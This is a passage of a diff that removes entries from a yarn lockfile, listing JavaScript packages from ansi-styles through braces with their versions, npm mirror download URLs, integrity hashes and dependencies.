-  resolved "https://registry.nlark.com/ansi-styles/download/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
-  integrity sha1-7dgDYornHATIWuegkG7a00tkiTc=
-  dependencies:
-    color-convert "^2.0.1"
-
-anymatch@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/anymatch/download/anymatch-2.0.0.tgz#bcb24b4f37934d9aa7ac17b4adaf89e7c76ef2eb"
-  integrity sha1-vLJLTzeTTZqnrBe0ra+J58du8us=
-  dependencies:
-    micromatch "^3.1.4"
-    normalize-path "^2.1.1"
-
-anymatch@~3.1.1:
-  version "3.1.2"
-  resolved "https://registry.nlark.com/anymatch/download/anymatch-3.1.2.tgz#c0557c096af32f106198f4f4e2a383537e378716"
-  integrity sha1-wFV8CWrzLxBhmPT04qODU343hxY=
-  dependencies:
-    normalize-path "^3.0.0"
-    picomatch "^2.0.4"
-
-aproba@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.nlark.com/aproba/download/aproba-1.2.0.tgz#6802e6264efd18c790a1b0d517f0f2627bf2c94a"
-  integrity sha1-aALmJk79GMeQobDVF/DyYnvyyUo=
-
-argparse@^1.0.7:
-  version "1.0.10"
-  resolved "https://registry.nlark.com/argparse/download/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
-  integrity sha1-vNZ5HqWuCXJeF+WtmIE0zUCz2RE=
-  dependencies:
-    sprintf-js "~1.0.2"
-
-aria-query@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/aria-query/download/aria-query-3.0.0.tgz#65b3fcc1ca1155a8c9ae64d6eee297f15d5133cc"
-  integrity sha1-ZbP8wcoRVajJrmTW7uKX8V1RM8w=
-  dependencies:
-    ast-types-flow "0.0.7"
-    commander "^2.11.0"
-
-aria-query@^4.0.2, aria-query@^4.2.2:
-  version "4.2.2"
-  resolved "https://registry.npm.taobao.org/aria-query/download/aria-query-4.2.2.tgz#0d2ca6c9aceb56b8977e9fed6aed7e15bbd2f83b"
-  integrity sha1-DSymyazrVriXfp/tau1+FbvS+Ds=
-  dependencies:
-    "@babel/runtime" "^7.10.2"
-    "@babel/runtime-corejs3" "^7.10.2"
-
-arity-n@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/arity-n/download/arity-n-1.0.4.tgz#d9e76b11733e08569c0847ae7b39b2860b30b745"
-  integrity sha1-2edrEXM+CFacCEeuezmyhgswt0U=
-
-arr-diff@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/arr-diff/download/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520"
-  integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=
-
-arr-flatten@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/arr-flatten/download/arr-flatten-1.1.0.tgz?cache=0&sync_timestamp=1618846805394&other_urls=https%3A%2F%2Fregistry.nlark.com%2Farr-flatten%2Fdownload%2Farr-flatten-1.1.0.tgz#36048bbff4e7b47e136644316c99669ea5ae91f1"
-  integrity sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=
-
-arr-union@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/arr-union/download/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-  integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
-
-array-equal@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/array-equal/download/array-equal-1.0.0.tgz#8c2a5ef2472fd9ea742b04c77a75093ba2757c93"
-  integrity sha1-jCpe8kcv2ep0KwTHenUJO6J1fJM=
-
-array-flatten@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/array-flatten/download/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
-  integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=
-
-array-flatten@^2.1.0:
-  version "2.1.2"
-  resolved "https://registry.nlark.com/array-flatten/download/array-flatten-2.1.2.tgz#24ef80a28c1a893617e2149b0c6d0d788293b099"
-  integrity sha1-JO+AoowaiTYX4hSbDG0NeIKTsJk=
-
-array-includes@^3.0.3, array-includes@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/array-includes/download/array-includes-3.1.3.tgz?cache=0&sync_timestamp=1613857733971&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Farray-includes%2Fdownload%2Farray-includes-3.1.3.tgz#c7f619b382ad2afaf5326cddfdc0afc61af7690a"
-  integrity sha1-x/YZs4KtKvr1Mmzd/cCvxhr3aQo=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-    get-intrinsic "^1.1.1"
-    is-string "^1.0.5"
-
-array-union@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/array-union/download/array-union-1.0.2.tgz#9a34410e4f4e3da23dea375be5be70f24778ec39"
-  integrity sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=
-  dependencies:
-    array-uniq "^1.0.1"
-
-array-uniq@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/array-uniq/download/array-uniq-1.0.3.tgz?cache=0&sync_timestamp=1620042121153&other_urls=https%3A%2F%2Fregistry.nlark.com%2Farray-uniq%2Fdownload%2Farray-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6"
-  integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=
-
-array-unique@^0.3.2:
-  version "0.3.2"
-  resolved "https://registry.nlark.com/array-unique/download/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-  integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
-
-array.prototype.flat@^1.2.1:
-  version "1.2.4"
-  resolved "https://registry.npm.taobao.org/array.prototype.flat/download/array.prototype.flat-1.2.4.tgz?cache=0&sync_timestamp=1605688512391&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Farray.prototype.flat%2Fdownload%2Farray.prototype.flat-1.2.4.tgz#6ef638b43312bd401b4c6199fdec7e2dc9e9a123"
-  integrity sha1-bvY4tDMSvUAbTGGZ/ex+LcnpoSM=
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.1"
-
-arrify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/arrify/download/arrify-1.0.1.tgz?cache=0&sync_timestamp=1619599497996&other_urls=https%3A%2F%2Fregistry.nlark.com%2Farrify%2Fdownload%2Farrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d"
-  integrity sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=
-
-asap@~2.0.6:
-  version "2.0.6"
-  resolved "https://registry.npm.taobao.org/asap/download/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
-  integrity sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=
-
-asn1.js@^5.2.0:
-  version "5.4.1"
-  resolved "https://registry.npm.taobao.org/asn1.js/download/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
-  integrity sha1-EamAuE67kXgc41sP3C7ilON4Pwc=
-  dependencies:
-    bn.js "^4.0.0"
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-    safer-buffer "^2.1.0"
-
-asn1@~0.2.3:
-  version "0.2.4"
-  resolved "https://registry.npm.taobao.org/asn1/download/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
-  integrity sha1-jSR136tVO7M+d7VOWeiAu4ziMTY=
-  dependencies:
-    safer-buffer "~2.1.0"
-
-assert-plus@1.0.0, assert-plus@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/assert-plus/download/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
-  integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
-
-assert@1.4.1:
-  version "1.4.1"
-  resolved "https://registry.nlark.com/assert/download/assert-1.4.1.tgz?cache=0&sync_timestamp=1618847153747&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fassert%2Fdownload%2Fassert-1.4.1.tgz#99912d591836b5a6f5b345c0f07eefc08fc65d91"
-  integrity sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=
-  dependencies:
-    util "0.10.3"
-
-assert@^1.1.1:
-  version "1.5.0"
-  resolved "https://registry.nlark.com/assert/download/assert-1.5.0.tgz?cache=0&sync_timestamp=1618847153747&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fassert%2Fdownload%2Fassert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
-  integrity sha1-VcEJqvbgrv2z3EtxJAxwv1dLGOs=
-  dependencies:
-    object-assign "^4.1.1"
-    util "0.10.3"
-
-assign-symbols@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/assign-symbols/download/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-  integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
-
-ast-types-flow@0.0.7, ast-types-flow@^0.0.7:
-  version "0.0.7"
-  resolved "https://registry.npm.taobao.org/ast-types-flow/download/ast-types-flow-0.0.7.tgz#f70b735c6bca1a5c9c22d982c3e39e7feba3bdad"
-  integrity sha1-9wtzXGvKGlycItmCw+Oef+ujva0=
-
-astral-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/astral-regex/download/astral-regex-1.0.0.tgz#6c8c3fb827dd43ee3918f27b82782ab7658a6fd9"
-  integrity sha1-bIw/uCfdQ+45GPJ7gngqt2WKb9k=
-
-async-each@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/async-each/download/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf"
-  integrity sha1-tyfb+H12UWAvBvTUrDh/R9kbDL8=
-
-async-limiter@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/async-limiter/download/async-limiter-1.0.1.tgz#dd379e94f0db8310b08291f9d64c3209766617fd"
-  integrity sha1-3TeelPDbgxCwgpH51kwyCXZmF/0=
-
-async@^2.6.2:
-  version "2.6.3"
-  resolved "https://registry.nlark.com/async/download/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff"
-  integrity sha1-1yYl4jRKNlbjo61Pp0n6gymdgv8=
-  dependencies:
-    lodash "^4.17.14"
-
-asynckit@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.nlark.com/asynckit/download/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
-  integrity sha1-x57Zf380y48robyXkLzDZkdLS3k=
-
-atob@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.nlark.com/atob/download/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
-  integrity sha1-bZUX654DDSQ2ZmZR6GvZ9vE1M8k=
-
-autoprefixer@^9.6.1:
-  version "9.8.6"
-  resolved "https://registry.nlark.com/autoprefixer/download/autoprefixer-9.8.6.tgz?cache=0&sync_timestamp=1622039586788&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fautoprefixer%2Fdownload%2Fautoprefixer-9.8.6.tgz#3b73594ca1bf9266320c5acf1588d74dea74210f"
-  integrity sha1-O3NZTKG/kmYyDFrPFYjXTep0IQ8=
-  dependencies:
-    browserslist "^4.12.0"
-    caniuse-lite "^1.0.30001109"
-    colorette "^1.2.1"
-    normalize-range "^0.1.2"
-    num2fraction "^1.2.2"
-    postcss "^7.0.32"
-    postcss-value-parser "^4.1.0"
-
-aws-sign2@~0.7.0:
-  version "0.7.0"
-  resolved "https://registry.npm.taobao.org/aws-sign2/download/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
-  integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
-
-aws4@^1.8.0:
-  version "1.11.0"
-  resolved "https://registry.nlark.com/aws4/download/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59"
-  integrity sha1-1h9G2DslGSUOJ4Ta9bCUeai0HFk=
-
-axobject-query@^2.0.2:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/axobject-query/download/axobject-query-2.2.0.tgz#943d47e10c0b704aa42275e20edf3722648989be"
-  integrity sha1-lD1H4QwLcEqkInXiDt83ImSJib4=
-
-babel-code-frame@^6.22.0:
-  version "6.26.0"
-  resolved "https://registry.nlark.com/babel-code-frame/download/babel-code-frame-6.26.0.tgz#63fd43f7dc1e3bb7ce35947db8fe369a3f58c74b"
-  integrity sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=
-  dependencies:
-    chalk "^1.1.3"
-    esutils "^2.0.2"
-    js-tokens "^3.0.2"
-
-babel-eslint@10.1.0:
-  version "10.1.0"
-  resolved "https://registry.nlark.com/babel-eslint/download/babel-eslint-10.1.0.tgz?cache=0&sync_timestamp=1618846971799&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-eslint%2Fdownload%2Fbabel-eslint-10.1.0.tgz#6968e568a910b78fb3779cdd8b6ac2f479943232"
-  integrity sha1-aWjlaKkQt4+zd5zdi2rC9HmUMjI=
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    "@babel/parser" "^7.7.0"
-    "@babel/traverse" "^7.7.0"
-    "@babel/types" "^7.7.0"
-    eslint-visitor-keys "^1.0.0"
-    resolve "^1.12.0"
-
-babel-extract-comments@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/babel-extract-comments/download/babel-extract-comments-1.0.0.tgz#0a2aedf81417ed391b85e18b4614e693a0351a21"
-  integrity sha1-Cirt+BQX7TkbheGLRhTmk6A1GiE=
-  dependencies:
-    babylon "^6.18.0"
-
-babel-jest@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/babel-jest/download/babel-jest-24.9.0.tgz#3fc327cb8467b89d14d7bc70e315104a783ccd54"
-  integrity sha1-P8Mny4RnuJ0U17xw4xUQSng8zVQ=
-  dependencies:
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/babel__core" "^7.1.0"
-    babel-plugin-istanbul "^5.1.0"
-    babel-preset-jest "^24.9.0"
-    chalk "^2.4.2"
-    slash "^2.0.0"
-
-babel-loader@8.1.0:
-  version "8.1.0"
-  resolved "https://registry.nlark.com/babel-loader/download/babel-loader-8.1.0.tgz#c611d5112bd5209abe8b9fa84c3e4da25275f1c3"
-  integrity sha1-xhHVESvVIJq+i5+oTD5NolJ18cM=
-  dependencies:
-    find-cache-dir "^2.1.0"
-    loader-utils "^1.4.0"
-    mkdirp "^0.5.3"
-    pify "^4.0.1"
-    schema-utils "^2.6.5"
-
-babel-plugin-dynamic-import-node@^2.3.3:
-  version "2.3.3"
-  resolved "https://registry.nlark.com/babel-plugin-dynamic-import-node/download/babel-plugin-dynamic-import-node-2.3.3.tgz?cache=0&sync_timestamp=1618846790496&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-dynamic-import-node%2Fdownload%2Fbabel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3"
-  integrity sha1-hP2hnJduxcbe/vV/lCez3vZuF6M=
-  dependencies:
-    object.assign "^4.1.0"
-
-babel-plugin-istanbul@^5.1.0:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/babel-plugin-istanbul/download/babel-plugin-istanbul-5.2.0.tgz#df4ade83d897a92df069c4d9a25cf2671293c854"
-  integrity sha1-30reg9iXqS3wacTZolzyZxKTyFQ=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.0.0"
-    find-up "^3.0.0"
-    istanbul-lib-instrument "^3.3.0"
-    test-exclude "^5.2.3"
-
-babel-plugin-jest-hoist@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/babel-plugin-jest-hoist/download/babel-plugin-jest-hoist-24.9.0.tgz?cache=0&sync_timestamp=1621937259839&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-jest-hoist%2Fdownload%2Fbabel-plugin-jest-hoist-24.9.0.tgz#4f837091eb407e01447c8843cbec546d0002d756"
-  integrity sha1-T4NwketAfgFEfIhDy+xUbQAC11Y=
-  dependencies:
-    "@types/babel__traverse" "^7.0.6"
-
-babel-plugin-macros@2.8.0:
-  version "2.8.0"
-  resolved "https://registry.nlark.com/babel-plugin-macros/download/babel-plugin-macros-2.8.0.tgz?cache=0&sync_timestamp=1620233906429&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-macros%2Fdownload%2Fbabel-plugin-macros-2.8.0.tgz#0f958a7cc6556b1e65344465d99111a1e5e10138"
-  integrity sha1-D5WKfMZVax5lNERl2ZERoeXhATg=
-  dependencies:
-    "@babel/runtime" "^7.7.2"
-    cosmiconfig "^6.0.0"
-    resolve "^1.12.0"
-
-babel-plugin-named-asset-import@^0.3.6:
-  version "0.3.7"
-  resolved "https://registry.npm.taobao.org/babel-plugin-named-asset-import/download/babel-plugin-named-asset-import-0.3.7.tgz?cache=0&sync_timestamp=1603462325329&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-plugin-named-asset-import%2Fdownload%2Fbabel-plugin-named-asset-import-0.3.7.tgz#156cd55d3f1228a5765774340937afc8398067dd"
-  integrity sha1-FWzVXT8SKKV2V3Q0CTevyDmAZ90=
-
-babel-plugin-polyfill-corejs2@^0.2.0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/babel-plugin-polyfill-corejs2/download/babel-plugin-polyfill-corejs2-0.2.2.tgz?cache=0&sync_timestamp=1622023904181&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-polyfill-corejs2%2Fdownload%2Fbabel-plugin-polyfill-corejs2-0.2.2.tgz#e9124785e6fd94f94b618a7954e5693053bf5327"
-  integrity sha1-6RJHheb9lPlLYYp5VOVpMFO/Uyc=
-  dependencies:
-    "@babel/compat-data" "^7.13.11"
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-    semver "^6.1.1"
-
-babel-plugin-polyfill-corejs3@^0.2.0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/babel-plugin-polyfill-corejs3/download/babel-plugin-polyfill-corejs3-0.2.2.tgz?cache=0&sync_timestamp=1622023907017&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-polyfill-corejs3%2Fdownload%2Fbabel-plugin-polyfill-corejs3-0.2.2.tgz#7424a1682ee44baec817327710b1b094e5f8f7f5"
-  integrity sha1-dCShaC7kS67IFzJ3ELGwlOX49/U=
-  dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-    core-js-compat "^3.9.1"
-
-babel-plugin-polyfill-regenerator@^0.2.0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/babel-plugin-polyfill-regenerator/download/babel-plugin-polyfill-regenerator-0.2.2.tgz?cache=0&sync_timestamp=1622023907940&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-polyfill-regenerator%2Fdownload%2Fbabel-plugin-polyfill-regenerator-0.2.2.tgz#b310c8d642acada348c1fa3b3e6ce0e851bee077"
-  integrity sha1-sxDI1kKsraNIwfo7Pmzg6FG+4Hc=
-  dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-
-babel-plugin-syntax-object-rest-spread@^6.8.0:
-  version "6.13.0"
-  resolved "https://registry.nlark.com/babel-plugin-syntax-object-rest-spread/download/babel-plugin-syntax-object-rest-spread-6.13.0.tgz?cache=0&sync_timestamp=1618847044608&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-syntax-object-rest-spread%2Fdownload%2Fbabel-plugin-syntax-object-rest-spread-6.13.0.tgz#fd6536f2bce13836ffa3a5458c4903a597bb3bf5"
-  integrity sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=
-
-babel-plugin-transform-object-rest-spread@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.nlark.com/babel-plugin-transform-object-rest-spread/download/babel-plugin-transform-object-rest-spread-6.26.0.tgz#0f36692d50fef6b7e2d4b3ac1478137a963b7b06"
-  integrity sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=
-  dependencies:
-    babel-plugin-syntax-object-rest-spread "^6.8.0"
-    babel-runtime "^6.26.0"
-
-babel-plugin-transform-react-remove-prop-types@0.4.24:
-  version "0.4.24"
-  resolved "https://registry.npm.taobao.org/babel-plugin-transform-react-remove-prop-types/download/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz#f2edaf9b4c6a5fbe5c1d678bfb531078c1555f3a"
-  integrity sha1-8u2vm0xqX75cHWeL+1MQeMFVXzo=
-
-babel-preset-jest@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/babel-preset-jest/download/babel-preset-jest-24.9.0.tgz?cache=0&sync_timestamp=1621937258872&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-preset-jest%2Fdownload%2Fbabel-preset-jest-24.9.0.tgz#192b521e2217fb1d1f67cf73f70c336650ad3cdc"
-  integrity sha1-GStSHiIX+x0fZ89z9wwzZlCtPNw=
-  dependencies:
-    "@babel/plugin-syntax-object-rest-spread" "^7.0.0"
-    babel-plugin-jest-hoist "^24.9.0"
-
-babel-preset-react-app@^9.1.2:
-  version "9.1.2"
-  resolved "https://registry.npm.taobao.org/babel-preset-react-app/download/babel-preset-react-app-9.1.2.tgz#54775d976588a8a6d1a99201a702befecaf48030"
-  integrity sha1-VHddl2WIqKbRqZIBpwK+/sr0gDA=
-  dependencies:
-    "@babel/core" "7.9.0"
-    "@babel/plugin-proposal-class-properties" "7.8.3"
-    "@babel/plugin-proposal-decorators" "7.8.3"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "7.8.3"
-    "@babel/plugin-proposal-numeric-separator" "7.8.3"
-    "@babel/plugin-proposal-optional-chaining" "7.9.0"
-    "@babel/plugin-transform-flow-strip-types" "7.9.0"
-    "@babel/plugin-transform-react-display-name" "7.8.3"
-    "@babel/plugin-transform-runtime" "7.9.0"
-    "@babel/preset-env" "7.9.0"
-    "@babel/preset-react" "7.9.1"
-    "@babel/preset-typescript" "7.9.0"
-    "@babel/runtime" "7.9.0"
-    babel-plugin-macros "2.8.0"
-    babel-plugin-transform-react-remove-prop-types "0.4.24"
-
-babel-runtime@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.nlark.com/babel-runtime/download/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe"
-  integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4=
-  dependencies:
-    core-js "^2.4.0"
-    regenerator-runtime "^0.11.0"
-
-babylon@^6.18.0:
-  version "6.18.0"
-  resolved "https://registry.npm.taobao.org/babylon/download/babylon-6.18.0.tgz#af2f3b88fa6f5c1e4c634d1a0f8eac4f55b395e3"
-  integrity sha1-ry87iPpvXB5MY00aD46sT1WzleM=
-
-balanced-match@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/balanced-match/download/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
-  integrity sha1-6D46fj8wCzTLnYf2FfoMvzV2kO4=
-
-base64-js@^1.0.2:
-  version "1.5.1"
-  resolved "https://registry.nlark.com/base64-js/download/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
-  integrity sha1-GxtEAWClv3rUC2UPCVljSBkDkwo=
-
-base@^0.11.1:
-  version "0.11.2"
-  resolved "https://registry.npm.taobao.org/base/download/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f"
-  integrity sha1-e95c7RRbbVUakNuH+DxVi060io8=
-  dependencies:
-    cache-base "^1.0.1"
-    class-utils "^0.3.5"
-    component-emitter "^1.2.1"
-    define-property "^1.0.0"
-    isobject "^3.0.1"
-    mixin-deep "^1.2.0"
-    pascalcase "^0.1.1"
-
-batch@0.6.1:
-  version "0.6.1"
-  resolved "https://registry.npm.taobao.org/batch/download/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16"
-  integrity sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY=
-
-bcrypt-pbkdf@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/bcrypt-pbkdf/download/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e"
-  integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=
-  dependencies:
-    tweetnacl "^0.14.3"
-
-big.js@^5.2.2:
-  version "5.2.2"
-  resolved "https://registry.nlark.com/big.js/download/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
-  integrity sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg=
-
-binary-extensions@^1.0.0:
-  version "1.13.1"
-  resolved "https://registry.nlark.com/binary-extensions/download/binary-extensions-1.13.1.tgz#598afe54755b2868a5330d2aff9d4ebb53209b65"
-  integrity sha1-WYr+VHVbKGilMw0q/51Ou1Mgm2U=
-
-binary-extensions@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/binary-extensions/download/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
-  integrity sha1-dfUC7q+f/eQvyYgpZFvk6na9ni0=
-
-bindings@^1.5.0:
-  version "1.5.0"
-  resolved "https://registry.nlark.com/bindings/download/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df"
-  integrity sha1-EDU8npRTNLwFEabZCzj7x8nFBN8=
-  dependencies:
-    file-uri-to-path "1.0.0"
-
-bluebird@^3.5.5:
-  version "3.7.2"
-  resolved "https://registry.nlark.com/bluebird/download/bluebird-3.7.2.tgz?cache=0&sync_timestamp=1618847007562&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbluebird%2Fdownload%2Fbluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
-  integrity sha1-nyKcFb4nJFT/qXOs4NvueaGww28=
-
-bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9:
-  version "4.12.0"
-  resolved "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
-  integrity sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=
-
-bn.js@^5.0.0, bn.js@^5.1.1:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/bn.js/download/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002"
-  integrity sha1-NYhgZ0OWxpl3canQUfzBtX1K4AI=
-
-body-parser@1.19.0:
-  version "1.19.0"
-  resolved "https://registry.npm.taobao.org/body-parser/download/body-parser-1.19.0.tgz?cache=0&sync_timestamp=1615984442879&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbody-parser%2Fdownload%2Fbody-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
-  integrity sha1-lrJwnlfJxOCab9Zqj9l5hE9p8Io=
-  dependencies:
-    bytes "3.1.0"
-    content-type "~1.0.4"
-    debug "2.6.9"
-    depd "~1.1.2"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    on-finished "~2.3.0"
-    qs "6.7.0"
-    raw-body "2.4.0"
-    type-is "~1.6.17"
-
-bonjour@^3.5.0:
-  version "3.5.0"
-  resolved "https://registry.nlark.com/bonjour/download/bonjour-3.5.0.tgz#8e890a183d8ee9a2393b3844c691a42bcf7bc9f5"
-  integrity sha1-jokKGD2O6aI5OzhExpGkK897yfU=
-  dependencies:
-    array-flatten "^2.1.0"
-    deep-equal "^1.0.1"
-    dns-equal "^1.0.0"
-    dns-txt "^2.0.2"
-    multicast-dns "^6.0.1"
-    multicast-dns-service-types "^1.1.0"
-
-boolbase@^1.0.0, boolbase@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/boolbase/download/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
-  integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24=
-
-bootstrap@^4.4.1:
-  version "4.6.0"
-  resolved "https://registry.nlark.com/bootstrap/download/bootstrap-4.6.0.tgz#97b9f29ac98f98dfa43bf7468262d84392552fd7"
-  integrity sha1-l7nymsmPmN+kO/dGgmLYQ5JVL9c=
-
-brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.nlark.com/brace-expansion/download/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha1-PH/L9SnYcibz0vUrlm/1Jx60Qd0=
-  dependencies:
-    balanced-match "^1.0.0"
-    concat-map "0.0.1"
-
-braces@^2.3.1, braces@^2.3.2:
-  version "2.3.2"
-  resolved "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729"
-  integrity sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=
-  dependencies:
-    arr-flatten "^1.1.0"
-    array-unique "^0.3.2"
-    extend-shallow "^2.0.1"
-    fill-range "^4.0.0"
-    isobject "^3.0.1"
-    repeat-element "^1.1.2"
-    snapdragon "^0.8.1"
-    snapdragon-node "^2.0.1"
-    split-string "^3.0.2"
-    to-regex "^3.0.1"
-
